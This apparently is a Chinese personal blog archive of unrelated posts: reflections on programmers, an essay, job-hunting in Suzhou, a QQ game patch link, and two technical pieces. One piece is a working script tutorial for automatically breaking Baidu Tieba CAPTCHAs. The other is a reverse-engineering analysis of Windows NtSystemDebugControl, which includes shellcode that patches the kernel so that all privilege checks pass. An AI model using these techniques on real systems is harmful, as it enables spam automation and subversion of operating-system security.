IT程序员
不是IT人做事太 机械 , 还是要看个性, 但是 做IT的大都沉默寡言, 原因不外乎:
(1)以研究为主,与外界接触较少.
(2)爱做实事,不爱花言巧语之言辞.
IT人大都是电脑桌上的民工,虽然拿着高薪(两三年经验的人很多都上10万年薪),但是辛苦的工作在身体上付出了沉重的代价.
IT人大都单纯,直来直去是个性.不爱装扮,不爱言辞,常无规律的做事:今天搞不懂这个问题不睡觉.遇事直来直去,常常发饿,这点上讲,IT人是最可爱的.
IT人大都博才多学,很多IT人也是诗人,学者,IT人空闲时是很无聊的,没有女友,没有花天酒地的朋友,没有同龄人有的欢乐,有的只是代码相随.在这种情况下,IT人开始写诗,写书,写文章,博览群书.
IT人大都是无私的,从不吝啬教会别人技术抢自己饭碗.从不会多个心眼去防范别人.
IT人学习能力超强(超人),IT人不但要会编程,还要精通数学,电路,系统,企业管理流程…
IT人常常半夜从床上跳起来大笑:我知道怎么解决问题了,ps:IT人懂得怎么去解决问题确不懂怎么谈恋爱.结果是:遇到心仪的女子,IT人常常傻傻的分不清楚.
IT人要求都不高,一位妻子,一个孩子,一栋房子,一台笔记本子.悲剧的是:IT人是创造时代的先锋,却是时代潮流的弃儿.看看大街上最时尚的,哪个是IT人.此时此刻,IT人不再最热闹的街头巷尾,IT人正搔着头发盯着屏幕coding呢.
IT人热爱IT,IT界大事小事琐事好事坏事平常事所能料到之事都要观之而论.
叹一句,IT人的纯真,有谁能懂??????
其实安静的IT人看世界看的比谁都清楚.
教你轻松破解验证码
教你轻松破解验证码
今天好奇研究了一下百度的验证码,做了一个新的程序,做这个程序的目的完全是研究技术。
我不会去贴吧发广告,也请大家不要去发广告。
授人以鱼不如授人以渔,下面我简单介绍一下破解验证码的过程。
一、序
大家知道,破解验证码、图文识别都是技术开发的难题,人眼能轻易分别的字符,计算机却需要大量的计算,而且结果很难做到准确。就算是用C++来做,也是很费劲很难得到好的效果。不过在这里我们使用模拟精灵,可以很简单的完成图文识别,模拟精灵虽然大小不足1M、而且是绿色软件完全独立运行,却内置了大部份常用的类库,如模拟编程、WEB编程、windows编程、图像编程都可以轻松实现
二、下载验证码样本
打开c:\test文件夹,选“查看缩略图”,然后重复运行下面的LAScript脚本(每次更换验证码的网址),下载百度贴吧的所有验证码并存为样本,例如图片一,就改名为1.jpg
img = image.new();
–下载图像,没有后缀名要显示指定*.bmp格式
img:getURL(“/Article/UploadFiles/200508/20050831203413603.jpg”)
image.corp(img, 9 ,0 , 41 , 20 )
img:save(“c:\\test\\test.jpg”) –保存到硬盘
–折分图片,指定一行四列
img2,img3,img4,img5 = img:split(1,4);
img2:save(“c:\\test\\0001.jpg”)
img3:save(“c:\\test\\0002.jpg”)
img4:save(“c:\\test\\0003.jpg”)
img5:save(“c:\\test\\0004.jpg”)
image.del(img);
三、生成验证码样本数据库
运行下面的脚本,把所有的验证码样本保存到ApeML数据岛
codeKey ={};
–添加所有数字键
for i =0,9,1 do
codeKey[""..i] = 0; –这里我们用字符串连接的方法把数字转换为字符串
end;
–k参数为键,v参数表示值 一个典型的table迭代器回调函数
loadCodeKey = function(k,v)
local img = image.new();
img:load(“C:\\test\\”..k..”.jpg”)
codeKey[k]= string.encode( img:getBytes(“*.jpg”) , “”); –因为转换到字符串还是二进制,所以用base64进行编码
image.del(img);
end;
–遍历表codekey的所有元素,调用loadcodekey加载图片文件
table.foreach (codeKey, loadCodeKey);
–把所有图片保存到数据岛,
ape:saveTable(codeKey,”验证码样本”)
四、识别验证码
运行下面的脚本测试一下
–从数据区块读取base64编码的图片数据
codekey = ape:loadTable(“验证码样本”);
imgBinKey = {}; –这是一个图像数组,用来储存还原后的验证码样本的图片数据
–必须进行一个转换,因为codekey里面只是base64编码的普通字符串,而imgBinKey 将是真正的图片对象(二进制数据)
–还原到图片对象
toImage = function(k,v)
local img9 = image.new();
img9:setBytes( string.decode( v ,”") ,”*.jpg”);
imgBinKey[k] = img9;
end;
table.foreach(codekey,toImage);
–下载验证码图片
imgD = image.new();
if (imgD:getURL(“/Article/UploadFiles/200508/20050831203415539.jpg”) ~= true) then
win.messageBox(“下载图像失败”,”")
image.del(imgD)
do return false end;
end;
image.corp(imgD, 9 ,0 , 41 , 20 );
–使用split函数分割图片
img2,img3,img4,img5 = imgD:split(1,4);
function test(imgX)
limit = 1;
chr = “”;
win.messagePrint(“正在检测图片,请稍候….”)
testimg = function(k,v)
local n = imgX:testX(imgBinKey[k]);
if(nlimit = n;
chr = k..”";
end;
end;
table.foreach(imgBinKey,testimg);
return chr;
end;
win.messageBox(“验证码”.. test(img2)..test(img3)..test(img4)..test(img5),”")
五、小结
效果很不错,百分百的准确,唯一的遗憾是识别验证码的过程不是很快,在我电脑上估计要30秒左右,不过图像处理是需要一定的时间,基本上不防碍发信息的的效率。
心情欺骗文字OR文字欺骗心情????
人生会有疲惫想放弃的时候,看不清路的尽头,看不到希望,前途一片渺茫。
未来伸出的双手,失去了相信的力量,如此艰难的旅途,已无法再像从前一样骄傲的走过。
这种惆怅的感觉,随着时间的推移,就越难以描绘,记忆里只剩下因为割舍而感到的疼。
双脚酸痛,四肢麻木,路迢迢,无法踏过眼前的荒山。
无情的秋风把金灿灿的秋叶在一夜之间刷拉一下就被吹没了,寒冬已至。
尽管自己仍在眷恋花园里的生活,可每当看到自己渐显疲态时,心情就悄悄变了样..
想要禁得住诱惑,还要看得清世事,希望能尽可能的保留住一些童真..
懂得了如何理清纷繁的人脉关系,又要去考虑如果去面对一系列艰巨的挑战..
常常理清了纷繁的社会关系,却丢失了最初的于生活的追求,跟着盲目追随名利物质的人群,拐走了自己的心..
就像天使和魔鬼,他们同样的可爱,尽管他们之间只有一线之隔,却形成了最悬殊的比例.零和无穷大.
美丽的大树都变了秃瓢,度过了一个无任何收获的秋,进入一个未知而寒冷的冬里游荡。
文字在欺骗我的心情,心情也在欺骗我的文字,在现实的面前,我不得不低头。
UBUNTU7.04+Beryl+Xgl截图留念
准备换服务器
换在自己管理的服务器上比较安全点,哈哈,等有时间,做成PHP的好像,更好一点!
不知道楼下的小朋友们意见怎么样?
对Native API NtSystemDebugControl的分析
对Native API NtSystemDebugControl的分析
文章作者:tombkeeper[0x40]nsfocus[0x2e]com
在《获取Windows 系统的内核变量》中,我提及了在Windows NT 5.1以上的系统
中存在一个功能强大的 Native API NtSystemDebugControl,下面我们来看看它到底
有多强大。
NtSystemDebugControl是Windows NT系列操作系统上实现的一个系统调用,在不
同系统上的调用号分别为:
Windows NT 0xba
Windows 2000 0xde
Windows XP 0xff
Windows 2003 0×108
这是一个未文档化的 API,《Windows NT/2000 Native API Reference》中有相
关介绍。官方定义可以在一个微软的private头文件ntexapi.h中找到。该文件中还包
含很多其它内部数据结构。可能Windows NT 4的SDK中还曾经有过这个文件(至少NT4
ResourceKit的支持文档里面是这样说的),但现在似乎微软只提供给它的合作伙伴。
好在NTKernel新闻组上有一个“very kind person”共享了这个头文件,你可以从参
考资源[2]的两个链接中得到它。
这就是ntexapi.h中的定义:
typedef enum _SYSDBG_COMMAND {
SysDbgQueryTraceInformation = 1, //KdGetTraceInformation()
SysDbgSetTracepoint = 2, //KdSetInternalBreakpoint()
SysDbgSetSpecialCall = 3, //KdSetSpecialCall()
SysDbgClearSpecialCalls = 4, //KdClearSpecialCalls()
SysDbgQuerySpecialCalls = 5, //KdQuerySpecialCalls()
SysDbgQueryModuleInformation //ntexapi.h中有,但实际上未实现
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;
NTSYSAPI
NTSTATUS
NTAPI
NtSystemDebugControl (
IN SYSDBG_COMMAND Command,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength,
OUT PULONG ReturnLength
);
从上面可以看出,Windows NT和Windows 2000上的NtSystemDebugControl通过不
同的第一形参可调用五个内核函数,实现相关功能。
NtSystemDebugControl在Windows NT和Windows 2000上的功能还是比较简陋的,
《Windows NT/2000 Native API Reference》一书对这些已经介绍的很详细了,本文
不再赘述。
从Windows NT 5.1内核(Windows XP)开始,NtSystemDebugControl的功能被极
大扩增了。根据逆向工程的结果来看,在Windows XP上NtSystemDebugControl的第一
形参可接受 20个不同的功能调用,在Windows 2003上则有28个。
关于NtSystemDebugControl在Windows NT 5.1以上的实现,互联网上唯一能找到
的资料是BUGTRAQ ID 9694关于该 API的一个漏洞报告(参考资源[1]),事实上,这
个所谓漏洞是不能称之为漏洞的,因为调用这个API需要SeDebugPrivilege 特权,普
通用户根本执行不了,也就谈不上权限提升。
下面的enum是我逆向工程的结果,绝大部分经过测试:
typedef enum _SYSDBG_COMMAND {
//以下5个在Windows NT各个版本上都有
SysDbgGetTraceInformation = 1,
SysDbgSetInternalBreakpoint = 2,
SysDbgSetSpecialCall = 3,
SysDbgClearSpecialCalls = 4,
SysDbgQuerySpecialCalls = 5,
// 以下是NT 5.1 新增的
SysDbgDbgBreakPointWithStatus = 6,
//获取KdVersionBlock
SysDbgSysGetVersion = 7,
//从内核空间拷贝到用户空间,或者从用户空间拷贝到用户空间
//但是不能从用户空间拷贝到内核空间
SysDbgCopyMemoryChunks_0 = 8,
//SysDbgReadVirtualMemory = 8,
//从用户空间拷贝到内核空间,或者从用户空间拷贝到用户空间
//但是不能从内核空间拷贝到用户空间
SysDbgCopyMemoryChunks_1 = 9,
//SysDbgWriteVirtualMemory = 9,
//从物理地址拷贝到用户空间,不能写到内核空间
SysDbgCopyMemoryChunks_2 = 10,
//SysDbgReadVirtualMemory = 10,
//从用户空间拷贝到物理地址,不能读取内核空间
SysDbgCopyMemoryChunks_3 = 11,
//SysDbgWriteVirtualMemory = 11,
//读写处理器相关控制块
SysDbgSysReadControlSpace = 12,
SysDbgSysWriteControlSpace = 13,
//读写端口
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15,
//分别调用RDMSR@4和_WRMSR@12
SysDbgSysReadMsr = 16,
SysDbgSysWriteMsr = 17,
//读写总线数据
SysDbgSysReadBusData = 18,
SysDbgSysWriteBusData = 19,
SysDbgSysCheckLowMemory = 20,
// 以下是NT 5.2 新增的
//分别调用_KdEnableDebugger@0和_KdDisableDebugger@0
SysDbgEnableDebugger = 21,
SysDbgDisableDebugger = 22,
//获取和设置一些调试相关的变量
SysDbgGetAutoEnableOnEvent = 23,
SysDbgSetAutoEnableOnEvent = 24,
SysDbgGetPitchDebugger = 25,
SysDbgSetDbgPrintBufferSize = 26,
SysDbgGetIgnoreUmExceptions = 27,
SysDbgSetIgnoreUmExceptions = 28
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;
从上面可以看出,在Windows NT 5.1以上的NtSystemDebugControl可以实现读写
内核线性空间数据、读写物理内存、读写端口、读写总线数据、读写MSR 等功能;在
Windows NT 5.2以上还可以在系统运行状态下使能、禁用内核调试以及获取、设置一
些相关变量等。
显然,从Windows XP开始,我们再次获得了MS DOS时代直接操纵系统的权杖,戴
着桂冠,重新回到了奥林匹斯山之巅。
下面举几个具体应用的例子。
例子1:
下面代码演示读取KdVersionBlock:
//————————————————————————
typedef struct _DBGKD_GET_VERSION64 {
USHORT MajorVersion;
USHORT MinorVersion;
USHORT ProtocolVersion;
USHORT Flags;
USHORT MachineType;
UCHAR MaxPacketType;
UCHAR MaxStateChange;
UCHAR MaxManipulate;
UCHAR Simulation;
USHORT Unused[1];
ULONG64 KernBase;
ULONG64 PsLoadedModuleList;
ULONG64 DebuggerDataList;
} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;
DBGKD_GET_VERSION64 KdVersionBlock;
EnablePrivilege(SE_DEBUG_NAME);
ZwSystemDebugControl
(
SysDbgSysGetVersion,
NULL,
0,
&KdVersionBlock,
sizeof(KdVersionBlock), //必须是0×28
NULL
);
printf (“KernBase: 0x%.8x\n”,KdVersionBlock.KernBase);
printf (“PsLoadedModuleList: 0x%.8x\n”,KdVersionBlock.PsLoadedModuleList);
printf (“DebuggerDataList: 0x%.8x\n”,KdVersionBlock.DebuggerDataList);
//————————————————————————
例子2:
下面代码演示读取内核空间数据的操作,这里读取的是Windows 2003内核映像的
头两个字节,也就是“MZ”。
//————————————————————————
typedef struct _MEMORY_CHUNKS {
ULONG Address;
PVOID Data;
ULONG Length;
}MEMORY_CHUNKS, *PMEMORY_CHUNKS;
MEMORY_CHUNKS QueryBuff;
ULONG ReturnLength;
char Buff[0x2] = {0};
QueryBuff.Address = 0x804e0000; //Windows 2003的KernBase
QueryBuff.Data = Buff; //在此是读出缓冲
QueryBuff.Length = sizeof(Buff);
EnablePrivilege(SE_DEBUG_NAME);
ZwSystemDebugControl
(
SysDbgCopyMemoryChunks_0,
&QueryBuff,
sizeof(MEMORY_CHUNKS), //必须是0x0C
NULL,
0,
&ReturnLength
);
printf (“\”MZ\”: %s\n”,Buff);
//————————————————————————
例子3:
下面是一个使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能实现的
Patch内核的ShellCode,把0x80580e66由原来的8a450c改为90b001:
修改前:
nt!SeSinglePrivilegeCheck+0x5c:
80580e66 8a450c mov al,[ebp+0xc]
80580e69 c9 leave
80580e6a c20c00 ret 0xc
修改后:
nt!SeSinglePrivilegeCheck+0x5c:
80580e66 90 nop
80580e67 b001 mov al,0×1
80580e69 c9 leave
80580e6a c20c00 ret 0xc
这样,SeSinglePrivilegeCheck总是返回True,也就是说,无论哪个用户,总是
拥有全部系统特权。
\xeb\x09\x66\xb8\x08\x01\x8b\xd4\x0f\x34\xc3\x68\x90\xb0\x01\xc9
\x8b\xc4\x6a\x04\x50\x68\x66\x0e\x58\x80\x54\x5b\x33\xc0\x50\x54
\x50\x50\x6a\x0c\x53\x6a\x09\x50\xe8\xd5\xff\xff\xff\x83
//————————————————————————
#pragma comment(linker, “/entry:main /ALIGN:4096″ )
#pragma comment(lib, “kernel32.lib”)
#define sysenter __asm __emit 0x0f __asm __emit 0×34
void main(void)
{
__asm
{
int 3 //debug
jmp patch
SystemDebugControl:
mov ax,0×108
mov edx,esp
sysenter
ret
patch:
push 0xc901b090
mov eax,esp
push 0×04
push eax
push 0x80580e66
push esp
pop ebx
xor eax,eax
push eax
push esp //ReturnLength
push eax //OutputBufferLength
push eax //OutputBuffer
push 0x0c //InputBufferLength
push ebx //InputBuffer
push 0×09 //ControlCode
push eax //for sysenter ret
call SystemDebugControl
add esp,0×30 //只是为了修正堆栈
}
}
//————————————————————————
上面只是一个概念代码,使用的Patch地址是固定的,对5.2.3790.0 版本的内核
有效。由于调用NtSystemDebugControl 要SeDebugPrivilege,所以这段ShellCode需
要在LocalSystem 的身份的进程空间运行,或者自己增加SeDebugPrivilege。最简单
的办法就是在WinDBG中执行。
例子4:
下面是一段完整的代码,利用NtSystemDebugControl读写端口的能力,直接操纵
PC Speaker发声:
//————————————————————————
//演示用ZwSystemDebugControl读写端口使PC Speaker发声
//tombkeeper 2004.08.03
#include
#include
#pragma comment(lib, “advapi32″)
#define NTAPI __stdcall
#define FCHK(a) if (!(a)) {printf(#a ” failed\n”); return 0;}
typedef int NTSTATUS;
typedef enum _SYSDBG_COMMAND
{
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15
}SYSDBG_COMMAND, *PSYSDBG_COMMAND;
typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (
SYSDBG_COMMAND ControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength,
PULONG ReturnLength
);
PZwSystemDebugControl ZwSystemDebugControl = NULL;
typedef struct _IO_STRUCT
{
DWORD IoAddr; // IN: Aligned to NumBYTEs,I/O address
DWORD Reserved1; // Never accessed by the kernel
PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer
DWORD NumBYTEs; // IN: # BYTEs to read/write. Only use 1, 2, or 4.
DWORD Reserved4; // Must be 1
DWORD Reserved5; // Must be 0
DWORD Reserved6; // Must be 1
DWORD Reserved7; // Never accessed by the kernel
}
IO_STRUCT, *PIO_STRUCT;
BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);
OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);
AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;
CloseHandle (hToken);
return rv;
}
BYTE InPortB (int Port)
{
BYTE Value;
IO_STRUCT io;
io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;
ZwSystemDebugControl
(
SysDbgSysReadIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
return Value;
}
void OutPortB (int Port, BYTE Value)
{
IO_STRUCT io;
io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;
ZwSystemDebugControl
(
SysDbgSysWriteIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
};
void BeepOn (int Freq)
{
BYTE b;
if ((Freq >= 20) && (Freq <= 20000))
{
Freq = 1193181 / Freq;
b = InPortB (0x61);
if ((b & 3) == 0)
{
OutPortB (0x61, (BYTE) (b | 3));
OutPortB (0x43, 0xb6);
}
OutPortB (0x42, (BYTE) Freq);
OutPortB (0x42, (BYTE) (Freq >> 8));
}
}
void BeepOff (void)
{
BYTE b;
b = (InPortB (0×61) & 0xfc);
OutPortB (0×61, b);
}
int main (void)
{
HMODULE hNtdll;
ULONG ReturnLength;
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
EnablePrivilege (SE_DEBUG_NAME);
FCHK ((hNtdll = LoadLibrary (“ntdll.dll”)) != NULL);
FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)
GetProcAddress (hNtdll, “ZwSystemDebugControl”)) != NULL);
FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);
if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&
OSVersionInfo.dwMajorVersion >= 5 &&
OSVersionInfo.dwMinorVersion >= 1) //Windows XP以上
{
BeepOn (1000); //声音频率1000Hz
Sleep (1000);
BeepOff ();
}
else
{
printf (“This program require Windows XP or Windows 2003.\n”);
}
return 0;
}
//————————————————————————
参考资源:
[1]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
Escalation Vulnerability
http://www.securityfocus.com/bid/9694
[2]ntexapi.h
http://www.codeguru.com/code/legacy/system/ntexapi.zip
http://void.ru/files/Ntexapi.h
到苏州
[size=13]过完年,刚大年初六就满怀信心的来到了苏州。本以为苏州是一个地美,人美的地方。但是到了这里多少有点失望。
虽然这里河很多,但是水不是很干净。古房子很多,但是在周围楼房的衬托下,显出的只有凄凉甚至残破。人很多,但是十个有九个是外地人。好不容易见到个本地人,也没有以前书上电视上看到的那种感觉。
这里给我感觉最不错的地方就是公园,有山有水,而且免费。每到星期天,公园里就有很多各色各样的人。老板,学生,工人等等。大家在这里享受着大自然带来的美好和安逸。
玩了几天要找工作了。第一个去的人才市场是新区的。到那还没开市。买了一份信息报。上面密密麻麻的写满了招聘信息。我大体的看了一下,没找到网页制作方面的工作,很失望。等人才市场开市之后我去了赣江路的人才市场。那场面把我吓呆了。人山人海。想投份简历你都要排队。我在人才市场就投了两份简历。一份当场获得面试通知,还有一份,联系方式写错了, [music] 。面试那家公司好小,开始聊感觉还不错,可是问到mssql时有点郁闷。没太用过这东西,以前做站都没用过这东西。大概是这个原因,这次面试没通过。
后来懒得去人才市场,就在网上找工作。又拿到了两家面试。第一家还是没通过,分析一下原因是ajax不会。哎~~
第2家通过了,是杂志社,挂着新化报业的牌子。感觉还不错,但是在里面做了一段时间发现这里根本就不适合我。或者说我不适合这里。工作环境太沉闷。每天做在那死气沉沉。而且最郁闷的就是这里什么都是主任说了算。准备做一个苏州酒吧的门户网站。创意不错,但是这么大的门户网站,我来的时候他连规划都没规划。没办法我规划然后拿给他看。规划终于弄好了,开始动工,可是我后台做得差不多了,前台还没人来做。招的人都留不住。到现在终于有一个前台,还不知道能呆不多久。
这样的地方我在这还有什么意思?[/size][/size][/size][/size]
QQ游戏最新版多开补丁
QQ游戏最新版多开补丁
[file=//attachments/month_200704/04_233912_sphvQQ.rar]Click to Download[/file]